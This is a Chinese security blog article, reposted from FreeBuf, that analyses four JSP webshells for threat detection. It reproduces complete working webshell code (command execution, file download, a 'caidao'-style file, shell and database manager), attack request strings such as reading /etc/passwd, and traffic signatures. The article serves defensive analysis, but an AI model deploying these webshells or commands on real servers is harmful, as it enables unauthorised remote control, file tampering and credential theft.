几种典型 JSP WebShell 的深度解析

标签: 专栏 jsp webshell 威胁分析 | 发表时间:2017-12-12 21:24 | 作者:放弃是更好的拥有Future、
出处:http://www.freebuf.com

前言

对于一条威胁情报信息,我们需要分析该攻击的指纹信息、相关攻击工具、属于哪个组织、相关历史事件、历史相关攻击源IP等信息。通过这些信息进行关联分析,找到攻击来源。并根据攻击组织或个人的攻击偏好,做出相应的安全防护及进一步追踪溯源。

本文分析 Jsp WebShell 样本是通用型的,不需关注制作者是谁。但需要分析该 WebShell 的指纹、利用方式、相关工具等信息。

正文

环境搭建:

  • VMware + Windows XP iso + JspStudy / (Tomcat + JDK 1.7 + Mysql ),XP 设置桥接模式+虚拟机内配置 IPv4 与本机相同 C 段 IP。

  • 创建相关 WebShell 文件,使用 JspStudy 方式搭建环境,文件置于 JspStudy \ WWW 目录下。使用 Tomcat + JDK 1.7 + Mysql 方式,将文件置于 apache-tomcat-7.0.82 \ webapps \ ROOT 目录下。

    本文将分析 4 个典型的JSP WebShell。分别是:

    (1) 无回显执行命令

    (2) 有回显带密码验证

    (3) 远程执行下载文件

    (4) 菜刀型 WebShell

1.无回显执行命令的WebShell

代码如下:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

打开 FireFox,连接该 WebShell页面显示空。使用 hackbar 执行指令:

image.png

执行成功,创建 c.txt 文件:

image.png

1.1 代码分析

Runtime.getRuntime().exec() 方法是 Java 中用于执行外部的程序或命令的函数。 Runtime.getRuntime().exec共有六个重载方法,此次实验,我们使用第一个重载方法,仅传入字符串型指令。

request.getParameter("i") 方法是获取 URL 中传入的参数的值。方法中已指定参数 i ,因此只接受参数 i=xxxx

根据代码分析,可以得知该 WebShell 功能为执行系统命令,无输出内容显示。权限为 Administrator。

1.2 特征分析

该 WebShell 只能执行系统命令,且无法在页面显示。因此当攻击者使用该 WebShell 时,Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST请求该 URL,并且传入系统命令。

下面是在不同操作系统中利用该WebShell执行系统命令的例子,基于该行为特征,在日志中可发现该类型的 JSP WebShell。 Windows系统请求参数:

  • cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数:

  • cat /etc/passwd >1.txt(网页访问该文件,得到账户密码)

2.有回显带密码验证

代码如下:

<%
    if("023".equals(request.getParameter("pwd")))
    {
        java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

连接 WebShell,使用密码 023 及指令 ipconfig。页面回显出执行命令后的结果:

image.png

2.1 代码分析:

密码为 023,通过获取传入的 pwd 参数的值。使用 equals 方法进行比较:

"023".equals(request.getParameter("pwd"))

执行i参数传入的指令,将会返回数据。通过 getInputStream() 方法获取数据的字节流:

Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

创建字节数组,用于存储字节数据。且该数组大小为 2048 字节:

byte[] b = new byte[2048];

while 循环中,不断的读取之前返回的字节流。每次读取一个字节,并转换为 string 类型输出,直到 in.read() 读取完所有数据返回结果为 -1。为了能在浏览器页面显示,使用 HTML 标签 <pre></pre> 包含数据:

 out.print("<pre>");
     while((a=in.read(b))!=-1)
     {
         out.println(new String(b));
     }
 out.print("</pre>");

2.2 特征分析

对比上一个 WebShell,多了回显功能及密码验证功能。该 WebShell 的利用需传入密码及系统命令两个参数。因此,Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST访问该 URL,只传入密码和系统命令。 基于该行为特征,在日志中可发现该类型的 JSP WebShell。不仅能发现连接密码,同时可发现攻击者执行的系统命令。下面是执行系统命令的例子:

Windows系统请求参数:

  • cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数:

  • cat /etc/passwd >1.txt(网页访问该文件,得到账户密码)

3.远程执行下载文件

代码如下:

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new
    java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1)
    {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

该 WebShell 只有下载文件的功能,无法执行系统命令。传入文件名称和文件下载 URL,连接该 WebShell:

image.png

下载完成之后,在当前路径下生成 1.png 文件:

image.png

3.1 代码分析:

获取参数 u 的值,打开该 URL 获取字节流:

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

创建字节流数组,用于存入下载文件的字节流数据:

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

将字节流数据写入字节流数组中:

while ((a = in.read(b)) != -1)
{
        baos.write(b, 0, a);
}

因为 getRealPath("/"),传入路径为 "/"。获取当前 WebShell 所在文件夹的绝对路径。若文件夹外并不存在参数f所传入的文件名,则创建该文件,并写入字节流数组数据:

new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());

3.2 特征分析:

通过 WebShell 检测工具 D 盾对该 WebShell 进行检测,发现检测正常:

image.png

此类 WebShell 的主要功能为下载文件,并且在浏览器页面没有回显。主要存在于 Windows 系统的服务器中。通过 Web 日志及 DPI 等防护设备,可发现攻击者GET/POST访问的 jsp 路径后面包含其他 URL,且通过该 URL 可下载文件。

4.菜刀型WebShell

该 WebShell 网上随处可见,可以很容易找到。代码较多,刚开始看的时候,能看明白各个函数的作用。却没法梳理出一个大体的利用流程。因此使用了一个很重要的分析工具 WireShark。

4.1 代码分析:

4.1.1文件操作

导入程序中需要用到的包,包含所需的功能:

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>

登陆连接 定义密码:

String Pwd = "PW";

使用菜刀工具,登录 WebShell 并使用 WireShark 抓取。WireShark 过滤条件为 ip.addr == 192.168.xxx.xxx(所配置的虚拟机IP地址) and http

image.png

从抓取的流量中可以得到两个参数 PW=A,z0=GB2312z0 的值代表字体格式,那么 PW 的值可能为判断条件。 查看源代码,找到与 PW 参数的值相关的运行代码:

 String cs = request.getParameter("z0") + "";
 request.setCharacterEncoding(cs);
 response.setContentType("text/html;charset=" + cs);
 String Z = EC(request.getParameter(Pwd) + "", cs);
 String z1 = EC(request.getParameter("z1") + "", cs);
 String z2 = EC(request.getParameter("z2") + "", cs);
 StringBuffer sb = new StringBuffer("");
 try
 {
  sb.append("->" + "|");
  if (Z.equals("A"))
  {
   String s = new File(application.getRealPath(request.getRequestURI())).getParent();
   sb.append(s + "\t");
   if (!s.substring(0, 1).equals("/"))
   {
       AA(sb);
   }
  }
 }

1) 上述代码中, Pwd="PW",cs= "GB2312",因此 Z="A"

String Z = EC(request.getParameter(Pwd) + "", cs);

2) 获取当前页面所在服务器的绝对路径:

String s = new File(application.getRealPath(request.getRequestURI())).getParent();

3) 判断当前路径字符串第一个字符是否为 "/",若不是则调用方法 AA()

if (!s.substring(0, 1).equals("/"))

4) AA() 方法中, File.listRoots() 首先获取所有可用的文件系统的根目录对象的数组。并通过 StringBuffer的append() 将数组追加,转换为字符串类型。

void AA(StringBuffer sb) throws Exception
{
 File r[] = File.listRoots();
 for (int i = 0; i < r.length; i++)
 {
  sb.append(r[i].toString().substring(0, 2));
 }
}

5)最后输出 out.print(sb.toString()); 即输出 "C: D:",并在菜刀界面显示:

image.png

打开C盘查看C盘目录下的文件:

image.png

根据 PW="B",找到判断条件:

 else if (Z.equals("B")) {
  BB(z1, sb);
 }

查看方法 BB()

void BB(String s, StringBuffer sb) throws Exception
{
 File oF = new File(s), l[] = oF.listFiles();
 String sT, sQ, sF = "";
 java.util.Date dt;
 SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
 for (int i = 0; i < l.length; i++)
 {
  dt = new java.util.Date(l[i].lastModified());
  sT = fm.format(dt);
  sQ = l[i].canRead() ? "R" : "";
  sQ += l[i].canWrite() ? " W" : "";
  if (l[i].isDirectory()) {
   sb.append(l[i].getName() +
    "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
         } else {
   sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
  }
 }
 sb.append(sF);
}

1) 读取盘下所有文件:

l[] = oF.listFiles();

2) 定义文件修改时间的格式:

SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

3) 获取第i个文件的最新修改时间:

new java.util.Date(l[i].lastModified());

4) 对文件的读写进行判断,并增加标识:

sQ  = l[i].canRead()  ? "R" : "";
sQ += l[i].canWrite() ? "W" : "";

5) 判断是否为文件夹,若是,则增加一个文件夹标识 "/\t"。若不是,则获取文件名并追加到字符串后面:

if (l[i].isDirectory())
{
  sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
}
else
{
  sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}

6) 最后返回多行字符串,代表每个文件或文件夹所处的位置:

image.png

打开文本文件 得到 PW="C"z1 中显示所操作文件的路径:

image.png

1) 查看C对应执行的代码:

 else if (Z.equals("C"))
 {
  String l = "";
  BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
  while ((l = br.readLine()) != null)
  {
   sb.append(l + "\r\n");
  }
  br.close();
 }

2) 下面代码实现读取当前文件的内容,并读取每行数据追加到字符串后门:

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));`
while ((l = br.readLine()) != null)
{
    sb.append(l + "\r\n");
}

修改文本文件

根据之前的规律,找到修改文件时调用的程序代码:

else if (Z.equals("D"))
{
  BufferedWriter
  bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
  bw.write(z2);
  bw.close();
  sb.append("1");
 }

1) 利用缓冲字符流打开文本文件:

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

2) 向文本文件写入修改的部分: bw.write(z2);

删除文件

1) 找到具有删除功能的程序代码

 else if (Z.equals("E"))
 {
  EE(z1);
  sb.append("1");
 }

2) 调用方法 EE()

void EE(String s) throws Exception
{
 File f = new File(s);
 if (f.isDirectory())
 {
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();
}

3) 如果删除的文件为一个文件夹,则递归删除文件夹内所有文件。若非文件夹,则直接删除:

if (f.isDirectory())
{
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();

4.1.2命令执行

CMD 指令,输入 ipconfig。返回内容较少是因为组设置大小为 1024 字节:

image.png

1) 查看抓取的流量数据:

image.png

2) 获取参数: W = M,z0 = GB2312,z1 = /ccmd,z2=cd /d "C:\apache-tomcat-7.0.82-windows-x86\apache-tomcat-7.0.82\webapps\ROOT\2\"&ipconfig&echo [S]&cd&echo [E]

3) 该操作执行下面代码:

else if (Z.equals("M"))
{
  String[] c =
    {
      z1.substring(2), z1.substring(0, 2), z2
    };
  Process p = Runtime.getRuntime().exec(c);
  MM(p.getInputStream(), sb);
  MM(p.getErrorStream(), sb);
 }

4) 调用 MM 方法:

void MM(InputStream is, StringBuffer sb) throws Exception
{
 String l;
 BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }
}

5) 执行上述字符串数组 cccmd /c z2

Process p = Runtime.getRuntime().exec(c);

6) 将字节流数据转换为缓冲字符流,并追加到字符串后面:

BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }

4.1.3数据库操作

对数据库的操作的相关代码是 Java 对数据库执行 CRUD 操作的代码。因此该操作只分析登录数据库时的代码。连接数据库需提前知道数据库的账户和密码。抓取菜刀进行数据库操作的流量,本次登录的是 mysql 数据库:

image.png

参数 z1 传入的是 Java 连接数据库是使用的 API,即 JDBC:

z1 = com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456

执行数据库登录的相关代码如下:

else if (Z.equals("N"))
{
  NN(z1, sb);
 }

1) 调用 NN 方法:

void NN(String s, StringBuffer sb) throws Exception
{
 Connection c = GC(s);
 ResultSet r = c.getMetaData().getCatalogs();
 while (r.next())
 {
  sb.append(r.getString(1) + "\t");
 }
 r.close();
 c.close();
}

2) 连接数据库,返回 connect 接口:

Connection c = GC(s);

3) 获取数据库数据,从中获取数据库名称列表:

ResultSet r = c.getMetaData().getCatalogs();

4) 循环读取下一个名称,追加到字符串中:

while (r.next())
{
  sb.append(r.getString(1) + "\t");
 }

4.1.4 代码执行过程

经过分析,对菜刀 JSP WebShell 代码的整体执行过程有了大致的了解:

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.* ......." %>
<% !
            定义变量  Pwd....//登录密码
            定义函数AA()、BB()、CC()......
%>
<%
      ......
      request.getParameter("z0")//获取参数Pwd,z0,z1,z2.....
      .....
      String Z=  EC(request.getParameter(Pwd)+””,cs);
      if     (Z.equals("A"))    { AA(相关参数)  }
      else if(Z.equals("B"))    { BB(相关参数)  }
      else if(Z.equals("C"))    { CC(相关参数)  }
      .......
      输出字符串
%>

流程图如下:

image.png

4.2 特征分析

根据抓取的流量显示,对 WebShell 所做的操作的结果,都会以字符串的形式返回给菜刀进行处理,并显示出来。字符串形式为 "->|xxxx|<-",为菜刀 WebShell 的特征字符。若发现成功利用菜刀 WebShell 的行为,基于该特征字符,将会在 DPI 中发现此类攻击事件。

同时,该 WebShell 对数据库的操作,需要知道目标主机数据库的账户和密码。如果发现成功访问数据库的流量数据,则说明该主机数据库信息已泄露。攻击者在此之前利用了 sql 注入、社工、爆破等渗透方式进行了入侵。需通过历史事件中对可疑攻击进行关联分析。

5 总结

通过对 WebShell 代码的分析,可以深入了解其功能和特征信息,有利于我们对攻击来源和意图有更好的理解。仅通过攻击结果来分析问题,会忽略很多重要信息,无法准确描绘出黑客画像。

以上是我在实习期间的一些感悟,后期我会不断把自己的研究成果分享出来。谢谢各位!

相关 [典型 jsp webshell] 推荐:

几种典型 JSP WebShell 的深度解析

- - FreeBuf.COM | 关注黑客与极客
对于一条威胁情报信息,我们需要分析该攻击的指纹信息、相关攻击工具、属于哪个组织、相关历史事件、历史相关攻击源IP等信息. 通过这些信息进行关联分析,找到攻击来源. 并根据攻击组织或个人的攻击偏好,做出相应的安全防护及进一步追踪溯源. 本文分析 Jsp WebShell 样本是通用型的,不需关注制作者是谁.

JSP自定义方法库

- - CSDN博客编程语言推荐文章
如果JSTL的方法库没有满足需要,可以使用自定义方法进行扩展. public static int length(Object obj){ //返回对象的长度. 自定义方法的声明写在 标记里面,格式为.       返回值 方法名(参数1类型,参数2类型……).

用搜索神器Everything定位Webshell木马后门

- - FreeBuf.COM
Everything是速度最快的文件名搜索软件. 其速度之快令人震惊,百G硬盘几十万个文件,可以在几秒钟之内完成索引;文件名搜索瞬间呈现结果. 它小巧免费,支持中文,支持正则表达式,可以通过HTTP或FTP分享搜索结果. Everything搜索工具的最大优点是速度. 其速度不是快,是极快;用户不是满意,而是震惊.

jsp+servlet实现验证码功能

- - CSDN博客推荐文章
验证码的功能大多数人可能不都理解,但几乎每个安全网站都会有. 验证码是用来防止非人为因素操作的行为,例如一个黑客要黑一个网站,怎么弄呢. 最简单的思路当然是造成其网路拥堵直至系统瘫痪掉. 如果没有验证码,那么我就可以在注册页面,写一个程序,只有注册表单,不断更换主键或不可重复的内容,不停的提交. 那这样每秒可以注册几万次都有可能,这样服务器就大量负载,很容易就瘫痪并死掉.

jsp静态化之简单介绍

- - CSDN博客Web前端推荐文章
StringBuffer htmlCode = new StringBuffer(); //这里我做了改动,原文是用String,这样内存消耗会太大,原因我就不说了. HttpURLConnection connection = (HttpURLConnection) url.openConnection(); //抽象连接.

JSP端口转发神器:KPortTran

- - Hacking is endless! Focus on network security!
back.jsp?lip=本地ip&lp=本地端口&rip=远程ip&rp=远程端口&lp2=本地端口2//本地监听转发到第二个端口&m=运行模式//合法的值有:listen tran slave三种. 该模式下,会在本地监听两个端口,相互转发数据. 需要参数:lip、lp、rip、rp. 该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口.

JSP, C 写入文件添加BOM头实例

- - CSDN博客推荐文章
注: 以下的状况不加BOM头也不会有中文乱码问题, 只是演示一下JSP输出文件如何加BOM头. out.write()是字节输出流的方法. out.print()是字符输出流的方法. 作者:oscar999 发表于2012-1-10 10:41:44 原文链接. 阅读:3 评论:0 查看评论.

测试Jsp 静态包含和动态包含

- - CSDN博客Web前端推荐文章
静态包含是在请求包含页面时去编译包含页面,编译时遇到静态页面包含伪码将被包含页面的内容复制到被包含页面中进行编译. 动态包含是指在请求包含页面的时候遇到动态包含指令将请求转到被包含页面,这时去编译被包含页面. 但两者生成的class文件缺不同:. 通过以上说明可知,动态包含在请求到来时编译包含页面和被包含页面,如果都是jsp页面,那么将生成两个个页面对应的class文件和java文件.

【JSP】JSTL核心标签库的使用方法和示例

- - CSDN博客Web前端推荐文章
 JSTL 核心标签库标签共有13个,功能上分为4类:. 表达式控制标签:out、set、remove、catch. 流程控制标签:if、choose、when、otherwise. 循环标签:forEach、forTokens. URL操作标签:import、url、redirect. 使用标签时,一定要在jsp文件头加入以下代码:.

使用FreeMarker替换JSP的10个理由

- - ImportNew
你还在使用 Java 服务器页面(俗称JSP)吗. 我曾经也是,但是几年前我抛弃了它们,并且再也没有用过JSP了. JSP 是个很好的概念,但是它却剥夺了 web 开发的乐趣. 对我而言,这些都是小事,比如无法在页面模板上使用单独的文件header.jsp 和 footer.jsp,不能调用表达式语言的方法,在运行时无法合并,重新排列页面的各个部分.